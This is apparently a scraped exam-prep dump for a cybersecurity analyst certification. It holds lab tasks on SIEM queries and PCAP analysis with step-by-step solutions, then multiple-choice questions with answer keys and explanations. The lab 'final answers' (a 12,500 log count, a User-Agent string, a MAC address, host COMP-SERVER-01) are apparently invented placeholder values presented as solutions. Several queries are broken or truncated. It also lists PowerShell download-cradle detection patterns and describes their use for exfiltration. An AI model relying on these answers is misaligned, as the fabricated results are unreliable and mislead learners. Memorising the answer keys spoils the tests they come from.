event.dataset: "http" AND destination.port: 80 AND @timestamp:[2023-12-01T00:00:00Z TO 2023-12-31T23:59:59Z]
Explanation:
event.dataset: "http": Filters logs labeled as HTTP traffic.
destination.port: 80: Ensures the traffic is unencrypted (port 80).
@timestamp: Specifies the time range forDecember 2023.
4.2: Execute the Query
Go toKibana > Discover.
Set theTime RangetoDecember 1, 2023 - December 31, 2023.
Enter the above query in thesearch bar.
Click"Apply".
Step 5: Count the Number of Logs (Documents)
5.1: View the Document Count
Thedocument countappears at the top of the results page in Kibana.
Example Output:
12500 documents
This means12,500 logswere identified matching the query criteria.
5.2: Export the Data (if needed)
Click on"Export"to download the log data for further analysis or reporting.
Choose"Export as CSV"if required.
Step 6: Verification and Cross-Checking
6.1: Alternative Command Line Check
If direct CLI access to Security Onion is possible, use theElasticsearch query:
curl -X GET -H 'Content-Type: application/json' -d '
{
"query": {
"bool": {
"must": [
{ "match": { "event.dataset": "http" }},
{ "match": { "destination.port": "80" }},
{ "range": { "@timestamp": { "gte": "2023-12-01T00:00:00", "lte": "2023-12-31T23:59:59" }}}
]
}
}
}'
Expected Output:
{
"count": 12500,
"_shards": {
"total": 5,
"successful": 5,
"failed": 0
}
}
Confirms the count as12,500 documents.
Step 7: Final Answer
Number of Logs (Documents) with Unencrypted Web Traffic in December 2023:
12,500
Step 8: Recommendations
8.1: Security Posture Improvement:
Implement HTTPS Everywhere:
Redirect HTTP traffic to HTTPS to minimize unencrypted connections.
Log Monitoring:
Set upalerts in Security Onionto monitor excessive unencrypted traffic.
Block HTTP at Network Level:
Where possible, enforce HTTPS-only policies on critical servers.
Review Logs Regularly:
Analyze unencrypted web traffic for potentialdata leakage or man-in-the-middle (MITM) attacks.
Following a ransomware incident, the network teamprovided a PCAP file, titled ransom.pcap, located in theInvestigations folder on the Desktop.
What is the full User-Agent value associated with theransomware demand file download. Enter your responsein the field below.
Options:
Answer:
See the solution in Explanation.
Explanation:
To identify thefull User-Agent valueassociated with theransomware demand file downloadfrom theransom.pcapfile, follow these detailed steps:
Step 1: Access the PCAP File
Log into the Analyst Desktop.
Navigate to theInvestigationsfolder located on the desktop.
Locate the file:
ransom.pcap
Step 2: Open the PCAP File in Wireshark
LaunchWireshark.
Open the PCAP file:
mathematica
File > Open > Desktop > Investigations > ransom.pcap
ClickOpento load the file.
Step 3: Filter HTTP Traffic
Since ransomware demands are often served astext files (e.g., README.txt)via HTTP/S, use the following filter:
http.request or http.response
This filter will show bothHTTP GETandPOSTrequests.
Step 4: Locate the Ransomware Demand File Download
Look for HTTPGETrequests that include common ransomware filenames such as:
README.txt
DECRYPT_INSTRUCTIONS.html
HELP_DECRYPT.txt
Right-click on the suspicious HTTP packet and select:
arduino
Follow > HTTP Stream
Analyze theHTTP headersto find theUser-Agent.
Example HTTP Request:
GET /uploads/README.txt HTTP/1.1
Host: 10.10.44.200
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.5414.75 Safari/537.36
Step 5: Verify the User-Agent
Check multiple streams to ensure consistency.
Confirm that theUser-Agentbelongs to the same host(10.10.44.200)involved in the ransomware incident.
Answer:
swift
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.5414.75 Safari/537.36
Step 6: Document and Report
Record the User-Agent for analysis:
PCAP Filename:ransom.pcap
User-Agent:Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.5414.75 Safari/537.36
Related File:README.txt
Step 7: Next Steps
Forensic Analysis:
Look for more HTTP requests from the sameUser-Agent.
Monitor Network Activity:
Identify other systems with the same User-Agent pattern.
Block Malicious Traffic:
Update firewall rules to block any outbound connections to suspicious domains.
Your enterprise SIEM system is configured to collect andanalyze log data from various sources. Beginning at12:00 AM on December 4, 2024, until 1:00 AM(Absolute), several instances of PowerShell arediscovered executing malicious commands andaccessing systems outside of their normal workinghours.
What is the physical address of the web server that wastargeted with malicious PowerShell commands?
Options:
Answer:
See the solution in Explanation.
Explanation:
To determine the physical address of the targeted web server, follow thesestep-by-step instructionsto analyze the logs in your SIEM system. The goal is to identify malicious PowerShell activity targeting the web server during the specified time window (12:00 AM to 1:00 AM on December 4, 2024).
Step 1: Understand the Context
Scenario:Your SIEM has detected suspicious PowerShell activities during off-hours (12:00 AM to 1:00 AM).
Objective:Identify the physical (MAC) address of the web server targeted by the malicious PowerShell commands.
Step 2: Identify Relevant Log Sources
Logs to investigate:
PowerShell logs (Event ID 4104)for command execution.
Windows Security Event Logsfor login and access attempts.
Network Traffic Logs(firewall or IDS/IPS) to detect connections made by PowerShell.
Web Server Access Logsfor any unusual requests.
SIEM Log Sources:
Windows Event Logs (Sysmon/PowerShell)
Firewall Logs
IDS/IPS Alerts
Web Server Logs (IIS, Apache)
Step 3: Use SIEM Filters to Isolate Relevant Events
Time Frame Filter:
Set the time range from12:00 AM to 1:00 AMonDecember 4, 2024.
Event ID Filter:
Filter forEvent ID 4104(PowerShell script block logging).
Command Pattern:
Look for suspicious commands like:
Invoke-WebRequest
Invoke-Expression (IEX)
New-Object Net.WebClient
Process Name:
Filter logs where theProcess Nameis powershell.exe.
Example SIEM Query:
index=windows_logs
| search EventID=4104 ProcessName="powershell.exe"
| where _time between "2024-12-04T00:00:00" and "2024-12-04T01:00:00"
| table _time, ProcessName, CommandLine, SourceIP, DestinationIP, MACAddress
Step 4: Correlate Events with Network Logs
Once you identify PowerShell events, correlate them withnetwork traffic logs.
Focus on:
Source IP Address: Where the PowerShell commands originated.
Destination IP Address: Targeted web server.
Use theIP address of the web serverto trace back theMAC address.
Example Network Log Query:
index=network_logs
| search DestinationIP="
| where _time between "2024-12-04T00:00:00" and "2024-12-04T01:00:00"
| table _time, SourceIP, DestinationIP, MACAddress, Protocol, Port
Step 5: Analyze the PowerShell Commands
Investigate the nature of the commands:
Data Exfiltration:Using Invoke-WebRequest to send data to external IPs.
Remote Code Execution:Using IEX to run downloaded scripts.
Cross-check commands against knownIndicators of Compromise (IOCs).
Step 6: Validate the Web Server's Physical Address
Identify theMAC addresscorresponding to the targeted web server.
Cross-reference withARP tables or DHCP logsto confirm the mapping between IP and MAC address.
Example ARP Command on Windows:
arp -a | findstr
Step 7: Report the Findings
Document the targeted server’sIP address and MAC address.
Summarize the malicious activity:
Commands executed
Time and duration
Source and destination IPs
Example Finding:
Web Server IP: 192.168.1.50
Physical (MAC) Address: 00:1A:2B:3C:4D:5E
Time of Attack: 12:30 AM, December 4, 2024
PowerShell Command: Invoke-WebRequest -Uri
Step 8: Take Immediate Actions
Isolate the affected server.
Block external IPs involved.
Terminate malicious PowerShell processes.
Conduct a forensic analysis of compromised systems.
Step 9: Strengthen Security Post-Incident
Implement PowerShell Logging:Enable detailed script block and module logging.
Enhance Network Monitoring:Set up alerts for unusual PowerShell activities.
User Behavior Analytics (UBA):Detect anomalous login patterns outside working hours.
Your enterprise has received an alert bulletin fromnational authorities that the network has beencompromised at approximately 11:00 PM (Absolute) onAugust 19, 2024. The alert is located in the alerts folderwith filename, alert_33.pdf.
Use the IOCs to find the compromised host. Enter thehost name identified in the keyword agent.name fieldbelow.
Options:
Answer:
See the solution in Explanation.
Explanation:
To identify the compromised host using thekeyword agent.name, follow these steps:
Step 1: Access the Alert Bulletin
Navigate to thealerts folderon your system.
Locate the alert file:
alert_33.pdf
Open the file with a PDF reader and review its contents.
Key Information to Extract:
Indicators of Compromise (IOCs) provided in the bulletin:
File hashes
IP addresses
Hostnames
Keywords related to the compromise
Step 2: Log into SIEM or Log Management System
Access your organization'sSIEMor centralized log system.
Make sure you have the appropriate permissions to view log data.
Step 3: Set Up Your Search
Time Filter:
Set the time window toAugust 19, 2024, around11:00 PM (Absolute).
Keyword Filter:
Use the keywordagent.nameto search for host information.
IOC Correlation:
Incorporate IOCs from thealert_33.pdffile (e.g., IP addresses, hash values).
Example SIEM Query:
index=host_logs
| search "agent.name" AND (IOC_from_alert OR "2024-08-19T23:00:00")
| table _time, agent.name, host.name, ip_address, alert_id
Step 4: Analyze the Results
Review the output for any host names that appear unusual or match the IOCs from the alert bulletin.
Focus on:
Hostnames that appeared at 11:00 PM
Correlation with IOC data(hash, IP, filename)
Example Output:
_time agent.name host.name ip_address alert_id
2024-08-19T23:01 CompromisedAgent COMP-SERVER-01 192.168.1.101 alert_33
Step 5: Verify the Host
Cross-check the host name identified in the logs with the information fromalert_33.pdf.
Ensure the host name corresponds to the malicious activity noted.
The host name identified in the keyword agent.name field is: COMP-SERVER-01
Step 6: Mitigation and Response
Isolate the Compromised Host:
Remove the affected system from the network to prevent lateral movement.
Conduct Forensic Analysis:
Inspect system processes, logs, and network activity.
Patch and Update:
Apply security updates and patches.
Threat Hunting:
Look for signs of compromise in other systems using the same IOCs.
Step 7: Document and Report
Create a detailed incident report:
Date and Time:August 19, 2024, at 11:00 PM
Compromised Host Name:COMP-SERVER-01
Associated IOCs:(as per alert_33.pdf)
By following these steps, you successfully identify the compromised host and take initial steps to contain and investigate the incident. Let me know if you need further assistance!
An organization continuously monitors enforcement of the least privilege principle and requires users and devices to re-authenticate at multiple levels of a system. Which type of security model has been adopted?
Options:
Security-in-depth model
Layered security model
Zero Trust model
Defense-in-depth model
Answer:
CExplanation:
TheZero Trust modelenforces the principle ofnever trust, always verifyby requiring continuous authentication and strict access controls, even within the network.
Continuous Authentication:Users and devices must consistently prove their identity.
Least Privilege:Access is granted only when necessary and only for the specific task.
Micro-Segmentation:Limits the potential impact of a compromise.
Monitoring and Validation:Continually checks user behavior and device integrity.
Incorrect Options:
A. Security-in-depth model:Not a formal model; more of a general approach.
B. Layered security model:Combines multiple security measures, but not as dynamic as Zero Trust.
D. Defense-in-depth model:Uses multiple security layers but lacks continuous authentication and verification.
Exact Extract from CCOA Official Review Manual, 1st Edition:
Refer to Chapter 4, Section "Zero Trust Security," Subsection "Principles of Zero Trust" - The Zero Trust model continuously authenticates and limits access to minimize risks.
In which phase of the Cyber Kill Chain" would a red team run a network and port scan with Nmap?
Options:
Exploitation
Delivery
Reconnaissance
Weaponization
Answer:
CExplanation:
During theReconnaissancephase of theCyber Kill Chain, attackers gather information about the target system:
Purpose:Identify network topology, open ports, services, and potential vulnerabilities.
Tools:Nmap is commonly used for network and port scanning during this phase.
Data Collection:Results provide insights into exploitable entry points or weak configurations.
Red Team Activities:Typically include passive and active scanning to understand the network landscape.
Incorrect Options:
A. Exploitation:Occurs after vulnerabilities are identified.
B. Delivery:The stage where the attacker delivers a payload to the target.
D. Weaponization:Involves crafting malicious payloads, not scanning the network.
Exact Extract from CCOA Official Review Manual, 1st Edition:
Refer to Chapter 8, Section "Cyber Kill Chain," Subsection "Reconnaissance Phase" - Nmap is commonly used to identify potential vulnerabilities during reconnaissance.
Which of the following is the BEST method for hardening an operating system?
Options:
Implementing a host Intrusion detection system (HIOS)
Manually signing all drivers and applications
Removing unnecessary services and applications
Applying only critical updates
Answer:
CExplanation:
Thebest method for hardening an operating systemis toremove unnecessary services and applicationsbecause:
Minimizes Attack Surface:Reduces the number of potential entry points for attackers.
Eliminates Vulnerabilities:Unused or outdated services may contain unpatched vulnerabilities.
Performance Optimization:Fewer active services mean reduced resource consumption.
Best Practice:Follow the principle ofminimal functionalityto secure operating systems.
Security Baseline:After cleanup, the system is easier to manage and monitor.
Other options analysis:
A. Implementing a HIDS:Helps detect intrusions but does not inherently harden the OS.
B. Manually signing drivers:Ensures authenticity but doesn’t reduce the attack surface.
D. Applying only critical updates:Important but insufficient on its own. All relevant updates should be applied.
CCOA Official Review Manual, 1st Edition References:
Chapter 9: Secure System Configuration:Emphasizes the removal of non-essential components for system hardening.
Chapter 7: Endpoint Security Best Practices:Discusses minimizing services to reduce risk.
Which of the following MOST effectively minimizes the impact of a control failure?
Options:
Business continuityplan [BCP
Business impact analysis (B1A)
Defense in depth
Information security policy
Answer:
CExplanation:
The most effective way tominimize the impact of a control failureis to employDefense in Depth, which involves:
Layered Security Controls:Implementing multiple, overlapping security measures to protect assets.
Redundancy:If one control fails (e.g., a firewall), others (like IDS, endpoint protection, and network monitoring) continue to provide protection.
Minimizing Single Points of Failure:By diversifying security measures, no single failure will compromise the entire system.
Adaptive Security Posture:Layered defenses allow quick adjustments and contain threats.
Other options analysis:
A. Business continuity plan (BCP):Focuses on maintaining operations after an incident, not directly on minimizing control failures.
B. Business impact analysis (BIA):Identifies potential impacts but does not reduce failure impact directly.
D. Information security policy:Guides security practices but does not provide practical mitigation during a failure.
CCOA Official Review Manual, 1st Edition References:
Chapter 7: Defense in Depth Strategies:Emphasizes the importance of layering controls to reduce failure impacts.
Chapter 9: Incident Response and Mitigation:Explains how defense in depth supports resilience.
Which ofthe following is a type of middleware used to manage distributed transactions?
Options:
Message-oriented middleware
Transaction processing monitor
Remote procedure call
Object request broker
Answer:
BExplanation:
ATransaction Processing Monitor (TPM)is a type of middleware that manages and coordinates distributed transactions across multiple systems.
Core Functionality:Ensures data consistency and integrity during complex transactions that span various databases or applications.
Transactional Integrity:Provides rollback and commit capabilities in case of errors or failures.
Common Use Cases:Banking systems, online booking platforms, and financial applications.
Incorrect Options:
A. Message-oriented middleware:Primarily used for asynchronous message processing, not transaction management.
C. Remote procedure call (RPC):Facilitates communication between systems but does not manage transactions.
D. Object request broker:Manages object communication but lacks transaction processing capabilities.
Exact Extract from CCOA Official Review Manual, 1st Edition:
Refer to Chapter 7, Section "Middleware Components," Subsection "Transaction Processing Middleware" - TPMs handle distributed transactions to ensure consistency across various systems.
Which of the following is the MOST effective way to prevent man-in-the-middle attacks?
Options:
Changing passwords regularly
Implementing firewalls on the network
Implementing end-to-end encryption
Enabling two-factor authentication
Answer:
CExplanation:
The most effective way to preventman-in-the-middle (MitM) attacksis by implementingend-to-end encryption:
Encryption Mechanism:Ensures that data is encrypted on the sender’s side and decrypted only by the intended recipient.
Protection Against Interception:Even if attackers intercept the data, it remains unreadable without the decryption key.
TLS/SSL Usage:Commonly used in HTTPS to secure data during transmission.
Mitigation:Prevents attackers from viewing or altering data even if they can intercept network traffic.
Incorrect Options:
A. Changing passwords regularly:Important for account security but not directly preventing MitM.
B. Implementing firewalls:Protects against unauthorized access but not interception of data in transit.
D. Enabling two-factor authentication:Enhances account security but does not secure data during transmission.
Exact Extract from CCOA Official Review Manual, 1st Edition:
Refer to Chapter 5, Section "Network Security Measures," Subsection "Mitigating Man-in-the-Middle Attacks" - End-to-end encryption is the primary method to secure communication against interception.
Which of the following is MOST likely to result from a poorly enforced bring your own device (8YOD) policy?
Options:
Weak passwords
Network congestion
Shadow IT
Unapproved social media posts
Answer:
CExplanation:
A poorly enforcedBring Your Own Device (BYOD)policy can lead to the rise ofShadow IT, where employees use unauthorized devices, software, or cloud services without IT department approval. This often occurs because:
Lack of Policy Clarity:Employees may not be aware of which devices or applications are approved.
Absence of Monitoring:If the organization does not track personal device usage, employees may introduce unvetted apps or tools.
Security Gaps:Personal devices may not meet corporate security standards, leading to data leaks and vulnerabilities.
Data Governance Issues:IT departments lose control over data accessed or stored on unauthorized devices, increasing the risk of data loss or exposure.
Other options analysis:
A. Weak passwords:While BYOD policies might influence password practices, weak passwords are not directly caused by poor BYOD enforcement.
B. Network congestion:Increased device usage might cause congestion, but this is more of a performance issue than a security risk.
D. Unapproved social media posts:While possible, this issue is less directly related to poor BYOD policy enforcement.
CCOA Official Review Manual, 1st Edition References:
Chapter 3: Asset and Device Management:Discusses risks associated with poorly managed BYOD policies.
Chapter 7: Threat Monitoring and Detection:Highlights how Shadow IT can hinder threat detection.
An organization has received complaints from a number of its customers that their data has been breached. However, after an investigation, the organization cannot detect any indicators of compromise. The breach was MOST likely due to which type of attack?
Options:
Supply chain attack
Zero-day attack
injection attack
Man-in the-middle attack
Answer:
AExplanation:
Asupply chain attackoccurs when a threat actor compromises athird-party vendoror partner that an organization relies on. The attack is then propagated to the organization through trusted connections or software updates.
Reason for Lack of Indicators of Compromise (IoCs):
The attack often occursupstream(at a vendor), so the compromised organization may not detect any direct signs of breach.
Trusted Components:Malicious code or backdoors may be embedded intrusted software updatesor services.
Real-World Example:TheSolarWinds breach, where attackers compromised the software build pipeline, affecting numerous organizations without direct IoCs on their systems.
Why Not the Other Options:
B. Zero-day attack:Typically leaves some traces or unusual behavior.
C. injection attack:Usually detectable through web application monitoring.
D. Man-in-the-middle attack:Often leaves traces in network logs.
CCOA Official Review Manual, 1st Edition References:
Chapter 6: Advanced Threats and Attack Techniques:Discusses the impact of supply chain attacks.
Chapter 9: Incident Response Planning:Covers the challenges of detecting supply chain compromises.
When reviewing encryption applied to data within an organization's databases, a cybersecurity analyst notices that some databases use the encryption algorithms SHA-1 or 3-DES while others use AES-256. Which algorithm should the analyst recommend be used?
Options:
AES-256
TLS 1.1
SHA-1
DES
Answer:
AExplanation:
AES-256 (Advanced Encryption Standard)is the recommended algorithm for encrypting data within databases because:
Strong Encryption:Uses a 256-bit key, providing robust protection against brute-force attacks.
Widely Adopted:Standardized and approved for government and industry use.
Security Advantage:AES-256 is significantly more secure compared to older algorithms like3-DESorSHA-1.
Performance:Efficient encryption and decryption, suitable for database encryption.
Incorrect Options:
B. TLS 1.1:Protocol for secure communications, not specifically for data encryption within databases.
C. SHA-1:A hashing algorithm, not suitable for encryption (also considered broken and insecure).
D. DES:An outdated encryption standard with known vulnerabilities.
Exact Extract from CCOA Official Review Manual, 1st Edition:
Refer to Chapter 6, Section "Encryption Standards," Subsection "Recommended Algorithms" - AES-256 is the preferred algorithm for data encryption due to its security and efficiency.
Which of the following is the BEST way for an organization to balance cybersecurity risks and address compliance requirements?
Options:
Accept that compliance requirements may conflict with business needs and operate in a diminished capacity to achieve compliance.
Meet the minimum standards for the compliance requirements to ensure minimal impact to business operations,
Evaluate compliance requirements in thecontext at business objectives to ensure requirements can be implemented appropriately.
Implement only the compliance requirements that do not Impede business functions or affect cybersecurity risk.
Answer:
CExplanation:
Balancingcybersecurity riskswithcompliance requirementsrequires a strategic approach that aligns security practices with business goals. The best way to achieve this is to:
Contextual Evaluation:Assess compliance requirements in relation to the organization's operational needs and objectives.
Risk-Based Approach:Instead of blindly following standards, integrate them within the existing risk management framework.
Custom Implementation:Tailor compliance controls to ensure they do not hinder critical business functions while maintaining security.
Stakeholder Involvement:Engage business units to understand how compliance can be integrated smoothly.
Other options analysis:
A. Accept compliance conflicts:This is a defeatist approach and does not resolve the underlying issue.
B. Meet minimum standards:This might leave gaps in security and does not foster a comprehensive risk-based approach.
D. Implement only non-impeding requirements:Selectively implementing compliance controls can lead to critical vulnerabilities.
CCOA Official Review Manual, 1st Edition References:
Chapter 2: Governance and Risk Management:Discusses aligning compliance with business objectives.
Chapter 5: Risk Management Strategies:Emphasizes a balanced approach to security and compliance.
Which of the following is a security feature provided by the WS-Security extension in the Simple Object Access Protocol (SOAP)?
Options:
Transport Layer Security (TLS)
Message confidentiality
MaIware protection
Session management
Answer:
BExplanation:
TheWS-Securityextension inSimple Object Access Protocol (SOAP)provides security features at themessage levelrather than thetransport level. One of its primary features ismessage confidentiality.
Message Confidentiality:Achieved by encrypting SOAP messages using XML Encryption. This ensures that even if a message is intercepted, its content remains unreadable.
Additional Features:Also provides message integrity (using digital signatures) and authentication.
Use Case:Suitable for scenarios where messages pass through multiple intermediaries, as security is preserved across hops.
Incorrect Options:
A. Transport Layer Security (TLS):Secures the transport layer, not the SOAP message itself.
C. Malware protection:Not related to WS-Security.
D. Session management:SOAP itself is stateless and does not handle session management.
Exact Extract from CCOA Official Review Manual, 1st Edition:
Refer to Chapter 7, Section "Web Services Security," Subsection "WS-Security in SOAP" - WS-Security provides message-level security, including confidentiality and integrity.
Which layer ofthe TCP/IP stack promotes the reliable transmission of data?
Options:
Link
Internet
Application
Transport
Answer:
DExplanation:
TheTransport layerof theTCP/IP stackis responsible for thereliable transmission of databetween hosts.
Protocols:IncludesTCP (Transmission Control Protocol)andUDP (User Datagram Protocol).
Reliable Data Delivery:TCP ensures data integrity and order through sequencing, error checking, and acknowledgment.
Flow Control and Congestion Handling:Uses mechanisms likewindowingto manage data flow efficiently.
Connection-Oriented Communication:Establishes a session between sender and receiver for reliable data transfer.
Other options analysis:
A. Link:Deals with physical connectivity and media access.
B. Internet:Handles logical addressing and routing.
C. Application:Facilitates user interactions and application-specific protocols (like HTTP, FTP).
CCOA Official Review Manual, 1st Edition References:
Chapter 4: Network Protocols and Layers:Details the role of the Transport layer in reliable data transmission.
Chapter 6: TCP/IP Protocol Suite:Explains the functions of each layer.
During a post-mortem incident review meeting, it is noted that a malicious attacker attempted to achieve network persistence by using vulnerabilities that appeared to be lower risk but ultimately allowed the attacker to escalate their privileges. Which ofthe following did the attacker MOST likely apply?
Options:
Exploit chaining
Brute force attack
Cross-site scripting
Deployment of rogue wireless access points
Answer:
AExplanation:
Exploit chaininginvolves combining multiple lower-severity vulnerabilities toescalate privileges or gain persistencein a network. The attacker:
Combines Multiple Exploits:Uses interconnected vulnerabilities that, individually, seem low-risk but together form a critical threat.
Privilege Escalation:Gains elevated access by chaining exploits, often bypassing security measures.
Persistence Mechanism:Once privilege is gained, attackers establish long-term control.
Advanced Attacks:Typically seen in advanced persistent threats (APTs) where the attacker meticulously combines weaknesses.
Other options analysis:
B. Brute force attack:Involves password guessing, not chaining vulnerabilities.
C. Cross-site scripting:Focuses on injecting malicious scripts, unrelated to privilege escalation.
D. Rogue wireless access points:Involves unauthorized devices, not exploit chaining.
CCOA Official Review Manual, 1st Edition References:
Chapter 6: Attack Techniques and Vectors:Describes exploit chaining and its strategic use.
Chapter 9: Incident Analysis:Discusses how attackers combine low-risk vulnerabilities for major impact.
Which of the following is the PRIMARY reason for tracking the effectiveness of vulnerability remediation processes within an organization?
Options:
To provide reports to senior management so that they can justify the expense of vulnerability management tools
To identify executives who are responsible for delaying patching and report them to the board
To ensure employees responsible for patching vulnerabilities are actually doing their job correctly
To reduce the likelihood of a threat actor successfully exploiting vulnerabilities In the organization's systems
Answer:
DExplanation:
Theprimary reasonfor tracking the effectiveness of vulnerability remediation processes is toreduce the likelihood of successful exploitationby:
Measuring Remediation Efficiency:Ensures that identified vulnerabilities are being fixed effectively and on time.
Continuous Improvement:Identifies gaps in the remediation process, allowing for process enhancements.
Risk Reduction:Reduces the organization's attack surface and mitigates potential threats.
Accountability:Ensures that remediation efforts align with security policies and risk management strategies.
Other options analysis:
A. Reporting to management:Important but not the primary reason.
B. Identifying responsible executives:Not a valid security objective.
C. Verifying employee tasks:Relevant for internal controls but not the core purpose.
CCOA Official Review Manual, 1st Edition References:
Chapter 7: Vulnerability Remediation:Discusses the importance of measuring remediation effectiveness.
Chapter 9: Incident Prevention:Highlights tracking remediation to minimize exploitation risks.
Most of the operational responsibility remains with the customerin which of the following cloudservice models?
Options:
Data Platform as a Service (DPaaS)
Software as a Service (SaaS)
Platform as a Service (PaaS)
Infrastructure as a Service (laaS)
Answer:
DExplanation:
In theIaaS (Infrastructure as a Service)model, the majority of operational responsibilities remain with the customer.
Customer Responsibilities:OS management, application updates, security configuration, data protection, and network controls.
Provider Responsibilities:Hardware maintenance, virtualization, and network infrastructure.
Flexibility:Customers have significant control over the operating environment, making them responsible for most security measures.
Incorrect Options:
A. Data Platform as a Service (DPaaS):Managed data services where the provider handles database infrastructure.
B. Software as a Service (SaaS):Provider manages almost all operational aspects.
C. Platform as a Service (PaaS):Provider manages the platform; customers focus on application management.
Exact Extract from CCOA Official Review Manual, 1st Edition:
Refer to Chapter 3, Section "Cloud Service Models," Subsection "IaaS Responsibilities" - IaaS requires customers to manage most operational aspects, unlike PaaS or SaaS.
Exposing the session identifier in a URL is an example of which web application-specific risk?
Options:
Cryptographic failures
Insecure design and implementation
Identification and authentication failures
Broken access control
Answer:
CExplanation:
Exposing thesession identifier in a URLis a classic example of anidentification and authentication failurebecause:
Session Hijacking Risk:Attackers can intercept session IDs when exposed in URLs, especially through techniques likereferrer header leaksorlogs.
Session Fixation:If the session ID is predictable or accessible, attackers can force a user to log in with a known ID.
OWASP Top Ten 2021 - Identification and Authentication Failures (A07):Exposing session identifiers makes it easier for attackers to impersonate users.
Secure Implementation:Best practices dictate storing session IDs inHTTP-only cookiesrather than in URLs to prevent exposure.
Other options analysis:
A. Cryptographic failures:This risk involves improper encryption practices, not session management.
B. Insecure design and implementation:Broad category, but this specific flaw is more aligned with authentication issues.
D. Broken access control:Involves authorization flaws rather than authentication or session handling.
CCOA Official Review Manual, 1st Edition References:
Chapter 4: Web Application Security:Covers session management best practices and related vulnerabilities.
Chapter 8: Application Security Testing:Discusses testing for session-related flaws.
Which of the followingBESTdescribes static application security testing (SAST)?
Options:
Vulnerability scanning
Codereview
Attack simulation
Configuration management
Answer:
BExplanation:
Static Application Security Testing (SAST)involvesanalyzing source code or compiled codeto identify vulnerabilities without executing the program.
Code Analysis:Identifies coding flaws, such asinjection, buffer overflows, or insecure function usage.
Early Detection:Can be integrated into the development pipeline to catch issues before deployment.
Automation:Tools likeSonarQube, Checkmarx, and Fortifyare commonly used.
Scope:Typically focuses on source code, bytecode, or binary code.
Other options analysis:
A. Vulnerability scanning:Typically involves analyzing deployed applications or infrastructure.
C. Attack simulation:Related to dynamic testing (e.g., DAST), not static analysis.
D. Configuration management:Involves maintaining and controlling software configurations, not code analysis.
CCOA Official Review Manual, 1st Edition References:
Chapter 9: Application Security Testing:Discusses SAST as a critical part of secure code development.
Chapter 7: Secure Coding Practices:Highlights the importance of static analysis during the SDLC.
A change advisory board Is meeting to review a remediation plan for a critical vulnerability, with a cybersecurity analyst in attendance. When asked about measures to address post-implementation issues, which o! the following would be the analyst's BEST response?
Options:
The remediation should be canceled if post-implementation issues are anticipated.
Details for rolling back applied changes should be included In the remediation plan.
The severity of the vulnerability determines whether a rollback plan is required.
The presence of additional onsite staff during the implementation removes the need for a rollback plan.
Answer:
BExplanation:
When discussing a remediation plan for acritical vulnerability, it is essential to include arollback planbecause:
Post-Implementation Issues:Changes can cause unexpected issues or system instability.
Risk Mitigation:A rollback plan ensures quick restoration to the previous state if problems arise.
Best Practice:Always plan for potential failures when applying significant security changes.
Change Management:Ensures continuity by maintaining a safe fallback option.
Other options analysis:
A. Canceling remediation:This is not a proactive or practical approach.
C. Severity-based rollback:Rollback plans should be standard regardless of severity.
D. Additional staff presence:Does not eliminate the need for a rollback strategy.
CCOA Official Review Manual, 1st Edition References:
Chapter 9: Change Management in Security Operations:Emphasizes rollback planning during critical changes.
Chapter 8: Vulnerability Management:Discusses post-remediation risk considerations.
Which of the following Isa PRIMARY purpose of middleware?
Options:
Enabling communication between different applications
Providing security to applications
Storing data for applications
Creating user interfaces for applications
Answer:
AExplanation:
Middlewareserves as an intermediary tofacilitate communicationanddata exchangebetween different applications:
Integration:Connects disparate applications and services, allowing them to function as a cohesive system.
Functionality:Provides messaging, data translation, and API management between software components.
Examples:Message-oriented middleware (MOM), database middleware, and API gateways.
Use Case:An ERP system communicating with a CRM application through middleware.
Incorrect Options:
B. Providing security:Security features might be embedded, but it is not the primary function.
C. Storing data:Middleware typically facilitates data flow, not storage.
D. Creating user interfaces:Middleware operates at the backend, not the user interface layer.
Exact Extract from CCOA Official Review Manual, 1st Edition:
Refer to Chapter 7, Section "Middleware Functions," Subsection "Application Integration" - Middleware primarily enables communication between heterogeneous applications.
Which of the following would BCST enable an organization to prioritize remediation activities when multiple vulnerabilities are identified?
Options:
Business Impact analysis (BIA)
Vulnerability exception process
executive reporting process
Risk assessment
Answer:
DExplanation:
Arisk assessmentenables organizations toprioritize remediation activitieswhen multiple vulnerabilities are identified because:
Contextual Risk Evaluation:Assesses the potential impact and likelihood of each vulnerability.
Prioritization:Helps determine which vulnerabilities pose the highest risk to critical assets.
Resource Allocation:Ensures that remediation efforts focus on the most significant threats.
Data-Driven Decisions:Uses quantitative or qualitative metrics to support prioritization.
Other options analysis:
A. Business Impact Analysis (BIA):Focuses on the impact of business disruptions, not directly on vulnerabilities.
B. Vulnerability exception process:Manages known risks but does not prioritize them.
C. Executive reporting process:Summarizes security posture but does not prioritize remediation.
CCOA Official Review Manual, 1st Edition References:
Chapter 5: Risk Assessment Techniques:Emphasizes the importance of risk analysis in vulnerability management.
Chapter 7: Prioritizing Vulnerability Remediation:Guides how to rank threats based on risk.
